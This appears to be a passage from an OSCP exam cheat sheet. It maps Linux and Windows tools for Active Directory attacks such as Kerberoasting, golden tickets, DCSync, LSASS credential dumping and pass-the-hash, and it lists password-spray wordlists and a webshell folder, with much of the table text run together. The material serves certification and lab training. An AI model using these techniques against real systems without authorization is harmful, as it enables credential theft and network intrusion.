Kali ships impacket, nxc, hydra, hashcat, feroxbuster and friends — but the AD collectors, the Ghostpack/PowerShell tools, the potatoes and the pivots you pull down per box. Grab these onto your attack VM (and stage them to targets as needed). All are the current, maintained sources as of 2026.
Same job — Linux (Kali) vs Windows tool
Kerberoast / AS-REPLinux: impacket-GetUserSPNs / GetNPUsers, nxc · Windows: RubeusForge tickets (Golden/Silver)Linux: impacket-ticketer · Windows: mimikatz kerberos::golden, Rubeus goldenDCSyncLinux: impacket-secretsdump · Windows: mimikatz lsadump::dcsyncDump LSASS credsLinux: pypykatz (offline dump) · Windows: mimikatz sekurlsa::logonpasswordsDomain recon / BloodHoundLinux: bloodhound-ce-python, powerview.py, windapsearch · Windows: SharpHound.exe, PowerView.ps1Pass-the-hash execLinux: impacket-psexec/wmiexec -hashes, evil-winrm -H · Windows: mimikatz sekurlsa::pthPrivesc enumerationLinux: linPEAS, unix-privesc-check · Windows: winPEAS, PowerUp.ps1, PrivescCheckUser enum / sprayLinux: kerbrute_linux, nxc · Windows: kerbrute_windows, RubeusPort / host checksLinux: nmap, nc · Windows: Test-NetConnection, nc.exe (LOLBAS)Pivot agentLinux: ligolo agent, chisel · Windows: agent.exe, chisel.exe (same project)Serve / fetch filesLinux: python3 -m http.server, impacket-smbserver · Windows: iwr, certutil, copy \\host\sharePick the right list
Wordlists Reference
SecLists ships on Kali under /usr/share/seclists (else sudo apt install seclists); rockyou is at /usr/share/wordlists/rockyou.txt (gunzip it if it's still compressed). Paths below are relative to those roots.
wordlists/rockyou.txtthe default for cracking and targeted brute — start herePasswords/Leaked-Databases/rockyou-75.txttrimmed rockyou, faster for online attacksPasswords/Common-Credentials/10-million-password-list-top-1000.txtfast first-pass spray listPasswords/Common-Credentials/10k-most-common.txtgood middle-ground online listPasswords/Default-Credentials/default-passwords.txtdevice / app default credsPasswords/darkweb2017-top100.txttiny, high-hit list for safe sprayingUsernames/top-usernames-shortlist.txtquick user-enum and spray targetsUsernames/xato-net-10-million-usernames.txtlarge realistic list (kerbrute userenum)Usernames/Names/names.txtfirst names — script them into first.last / flastDiscovery/Web-Content/raft-medium-directories.txtfast, high-signal directory bruteDiscovery/Web-Content/raft-medium-files.txtfile brute — pair with -x extensionsDiscovery/Web-Content/directory-list-2.3-medium.txtthe classic dirbuster list, thoroughDiscovery/Web-Content/common.txtquick baseline sweepDiscovery/Web-Content/big.txtbroad coverage when medium finds nothingDiscovery/Web-Content/burp-parameter-names.txtGET/POST parameter fuzzing/usr/share/wordlists/dirb/common.txtdirb built-in — always presentDiscovery/DNS/subdomains-top1million-5000.txtfast vhost / subdomain fuzzDiscovery/DNS/subdomains-top1million-110000.txtdeeper when 5k finds nothingDiscovery/DNS/namelist.txtclassic DNS brute listFuzzing/LFI/LFI-Jhaddix.txtLFI path traversal payloadsFuzzing/SQLi/Generic-SQLi.txtSQLi detection stringsWeb-Shells/ready-made webshells (PHP, ASPX, JSP)hashcat rules/best64.rulemutate a small list: hashcat -r rules/best64.ruleWhen you hit a wall
Stuck? A Recovery Workflow
Being stuck on OSCP almost always means missed enumeration, not a missing exploit. Work this list top to bottom before you decide a machine is “hard” — the path is usually something you walked past.
1 · Re-enumerate from scratch (the 90% fix)
2 · Web — you probably under-fuzzed
3 · Match versions to public exploits
4 · Credentials — use everything, everywhere
5 · Re-read what you already have
6 · Privesc stuck — Linux
7 · Privesc stuck — Windows
8 · Privesc / lateral stuck — Active Directory
9 · Tactics when your head is stuck
10 · Rabbit-hole detector — back out if…
Don't lose points
Nuances, Pitfalls & Exam Tips
You've got this
Good Luck & Happy Hacking
That's the whole map — recon to proof.txt, and every service, shell and privesc trick in between. When the exam clock starts, trust the process: enumerate more than feels necessary, spray every credential everywhere, screenshot as you go, and take the break when your brain fogs. The box that feels impossible is almost always hiding one port, one file, or one password you haven't looked at yet.
Good luck, and happy hacking. You've put in the work — now go enumerate like you mean it. Try harder, rest when you need to, and come back sharp. You've got this.
Reference checklist · not a substitute for hands-on practice · verify tool flags against your Kali version.